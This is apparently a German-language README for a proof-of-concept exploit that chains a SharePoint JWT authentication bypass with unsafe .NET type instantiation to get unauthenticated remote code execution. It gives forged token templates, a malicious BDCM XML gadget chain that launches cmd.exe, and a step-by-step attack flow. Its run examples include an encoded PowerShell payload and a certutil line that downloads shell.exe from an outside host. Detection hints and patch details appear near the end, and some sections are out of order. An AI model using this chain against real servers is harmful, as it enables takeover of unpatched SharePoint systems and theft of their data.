
Exploit-Kette für nicht authentifiziertes RCE auf Microsoft SharePoint, die einen JWT-Authentifizierungs-Bypass mit unsicherer .NET-Typinstanziierung kombiniert, um Codeausführung als Dienstkonto zu erreichen.
Unauthentifizierte RCE auf Microsoft SharePoint Server. Keine Anmeldedaten erforderlich.
Stephen Fewer (Rapid7) demonstrierte CVE-2026-55040 auf der Pwn2Own Berlin 2026. Rapid7 entdeckte CVE-2026-63520 anschließend während der Folgeforschung, und VulnCheck fand unabhängig eine alternative Gadget-Kette. Zusammen ergeben diese beiden Bugs eine unauthentifizierte Remote-Codeausführung gegen jedes ungepatchte SharePoint im Internet.
CISA gab innerhalb von Stunden nach Veröffentlichung des PoC Warnungen heraus. Es wird in freier Wildbahn ausgenutzt.
Zwei Bugs, eine Kette:
| CVE | Typ | CVSS | Was kaputt geht |
|---|---|---|---|
| CVE-2026-55040 | JWT-Authentifizierungs-Bypass | 9.1 | Die S2S-Token-Validierung von SharePoint hat vier unabhängige Schwachstellen. Verkette sie und du fälschst ein gültiges JWT für jeden Benutzer – einschließlich Site-Administratoren – ohne deren Passwort zu kennen. |
| CVE-2026-63520 | Unsichere .NET-Typ-Instanziierung → RCE | 8.1 | Business Data Connectivity (BDC) löst beliebige .NET-Typnamen aus hochgeladenem XML ohne jede Allowlist auf. Richte es auf ObjectDataProvider und du erhältst Process.Start(). |
Keiner der Bugs ist für sich allein interessant. CVE-2026-63520 erfordert Authentifizierung. CVE-2026-55040 verschafft dir die Authentifizierung. Zusammen: unauthentifizierte RCE als SharePoint-Dienstkonto.
SharePoint verwendet verschachtelte JWTs für die Server-zu-Server (S2S)-Authentifizierung. Ein äußeres Token trägt die Benutzeridentität, ein inneres „Actor-Token“ repräsentiert die aufrufende Anwendung. Vier Schwachstellen in SPJsonWebSecurityTokenHandlerV2.ValidateToken() lassen das Ganze kollabieren:
Schwachstelle 1 – Signaturprüfung ist deaktiviert. Der Validator setzt RequireSignedTokens = false. Das äußere Token akzeptiert alg: none. Keine Signatur erforderlich.
Schwachstelle 2 – x5t-Auflösung ohne Verifizierung. Der Signaturschlüssel des Actor-Tokens wird durch Nachschlagen des x5t-Headers (Zertifikat-Fingerabdruck) im Zertifikatsspeicher aufgelöst. SharePoint prüft nie, ob die Signatur des Actor-Tokens tatsächlich zu diesem Schlüssel passt.
Schwachstelle 3 – Issuer-Validierung akzeptiert unbekannte Zertifikate. ValidateIssuer() besteht, wenn das Signaturzertifikat nicht in der Sammlung TrustedSecurityTokenServices enthalten ist. Das eigene STS-Zertifikat von SharePoint ist dort nicht registriert. Die Referenzierung über x5t besteht die Issuer-Validierung daher bedingungslos.
Schwachstelle 4 – Nicht-kryptografische Signaturprüfung. GetTokenSignature() erfordert einen nicht-leeren String, führt aber keinerlei kryptografische Validierung durch. Jeder Wert funktioniert. AAAA funktioniert.
Das STS-Zertifikat ist öffentlich. Du holst es von /_layouts/15/metadata/json/1 – einem unauthentifizierten Endpunkt – berechnest den SHA-1-Fingerabdruck und hast alles, was du brauchst.
Äußeres Token (trägt die Benutzeridentität):
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<target SID or UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<inner JWT>"
}
// Signatur: leer (alg:none)
Inneres Actor-Token (repräsentiert die „Anwendung“):
// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<STS cert thumbprint>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Signatur: "AAAA" (buchstäblich alles Nicht-Leere)
Drei Möglichkeiten, eine Identität zu wählen:
Der Business Data Connectivity-Dienst von SharePoint erlaubt Administratoren, externe Datenquellen über BDC-Modell-XML-Dateien (.bdcm) zu definieren. Diese Modelle spezifizieren .NET-Typen, die BDC zur Laufzeit instanziiert.
Das Problem liegt in DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // beliebiger Typ im GAC
Typnamen unter 15 Zeichen durchlaufen einen sicheren Resolver. Alles Längere ruft direkt Type.GetType() auf – das jeden assembly-qualifizierten Typnamen aus dem Global Assembly Cache auflöst. Keine Allowlist. Keine Blocklist. Der Angreifer kontrolliert abstractTypeName über das BDCM-XML.
Wir verwenden System.Windows.Data.ObjectDataProvider aus PresentationFramework. Wenn du dessen ObjectInstance-Eigenschaft setzt, ruft es MethodName auf dieser Instanz auf. Setze MethodName = "Start" und ObjectInstance = System.Diagnostics.Process mit einem manipulierten StartInfo, und die Property-Setter-Reflexion von BDC erledigt den Rest:
ObjectDataProvider erstellt
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ Property-Setter löst QueryWorker() aus
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
Das BDCM-XML, das dies transportiert:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck dokumentierte eine alternative Kette mit System.Web.UI.LosFormatter mit TypeConfuseDelegate-Deserialisierung über ein DotNetAssembly-LobSystem. Mehrere Gadgets funktionieren – das zugrunde liegende Primitive ist uneingeschränkte Typ-Instanziierung.
Angreifer SharePoint-Server
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS-Zertifikat (x5t + realm) ───────│ (unauthentifiziert)
│ │
│── SMB-Null-Session zum DC ──────────────▶ Domain Controller
│◀── Domain-SID ────────────────────────│
│ │
│── JWT fälschen (alg:none + AAAA-Sig) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: als Admin authentifiziert
│ │
│── POST /_api/web/lists ────────────▶│ BDC-Katalog erstellen
│── POST .../Files/add(evil.bdcm) ──▶│ Gadget-Kette hochladen
│── POST /_vti_bin/client.svc/ ──────▶│ ProcessQuery auslösen
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → läuft als SP-Dienstkonto
Sechs Schritte:
STS-Zertifikat holen. Rufe /_layouts/15/metadata/json/1 auf. Keine Authentifizierung nötig. Extrahiere das X.509-Zertifikat aus keys[0].keyValue.value, hashe es mit SHA-1, kodiere es base64url. Das ist dein x5t. Das issuer-Feld liefert dir das realm.
Einen Site-Administrator finden. SMB-Null-Session zum Domain Controller, LSARPC LsarQueryInformationPolicy für die Domain-SID, dann RIDs iterieren (500, 1000-10000) und für jede ein JWT fälschen, bis /_api/web/currentuser IsSiteAdmin: true zurückgibt. Oder einfach eine bekannte UPN angeben.
Das JWT fälschen. Äußeres: alg:none, nameid = Admin-SID, actortoken = inneres JWT. Inneres: alg:RS256, x5t = STS-Fingerabdruck, Signatur = AAAA. Base64url-kodieren, mit Punkten verbinden. Fertig.
Das kumulative Update vom August 2026 fügt ValidateSafeBcsType() hinzu, um einzuschränken, welche .NET-Typen BDC instanziieren kann. Der JWT-Fix fügt eine ordnungsgemäße Signaturprüfung hinzu und registriert das STS-Zertifikat in der Sammlung der vertrauenswürdigen Token-Dienste.
Der Mainstream-Support für SharePoint 2016 endete 2026. Organisationen ohne Extended Support erhalten den Fix möglicherweise nicht.
Abhängigkeiten installieren:
pip install requests
pip install impacket # nur für --domain-ip Auto-SID-Ermittlung benötigt
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
Das Skript wird:
x5t und realm aus den STS-Metadaten ziehenpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Du solltest Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN] sehen. Das bestätigt, dass der JWT-Bypass funktioniert und du Admin-Zugriff hast.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
Dinge, auf die du achten solltest:
alg: none, die SharePoint-Endpunkte treffen. Legitime S2S-Tokens verwenden immer RS256./_layouts/15/metadata/json/1, gefolgt von authentifizierten API-Aufrufen von derselben Quell-IP. Der Metadaten-Endpunkt ist öffentlich, aber Aufklärung gefolgt von Admin-Zugriff ist verdächtig..bdcm-Dateien, die in BusinessDataMetadataCatalog erscheinen. Die meisten SharePoint-Bereitstellungen nutzen BDC überhaupt nicht. Jeder BDCM-Upload ist eine Untersuchung wert.ProcessQuery-Anfragen, die unbekannte BDC-Entitäten referenzieren, insbesondere mit ObjectDataProvider oder LosFormatter in den Entitätstypnamen.w3wp.exe (SharePoint-Anwendungspool). cmd.exe, powershell.exe, certutil.exe als Kinder des Worker-Prozesses sind klassische Indikatoren.Nur für autorisierte Sicherheitstests. Hol dir eine schriftliche Genehmigung, bevor du dies gegen etwas einsetzt, das dir nicht gehört.
| Modus | nameid | nii | Was du brauchst |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | Domain-SID (via SMB-Null-Session) + RID-Brute |
| UPN | upn_bypass + upn-Claim | urn:office:idp:activedirectory | Eine gültige UPN (z. B. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nichts. Eingeschränkter Zugriff, aber für einige Ketten ausreichend. |
Einen Form-Digest holen. POST /_api/contextinfo mit dem gefälschten Bearer-Token. SharePoint stellt dir einen FormDigestValue für Schreiboperationen aus.
Das BDCM hochladen. Eine BusinessDataMetadataCatalog-Bibliothek erstellen, das bösartige .bdcm-XML mit der ObjectDataProvider-Gadget-Kette hochladen.
Den Abzug betätigen. POST /_vti_bin/client.svc/ProcessQuery mit einer Anfrage, die die BDC-Entität auflöst. SharePoint instanziiert die Typen aus dem BDCM, setzt Eigenschaften per Reflexion, und ObjectDataProvider feuert Process.Start(). Code läuft als SharePoint-Dienstkonto.
| Produkt | Verwundbar unter | Patch | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | August 2026 CU | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | August 2026 SU | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | August 2026 SU | - |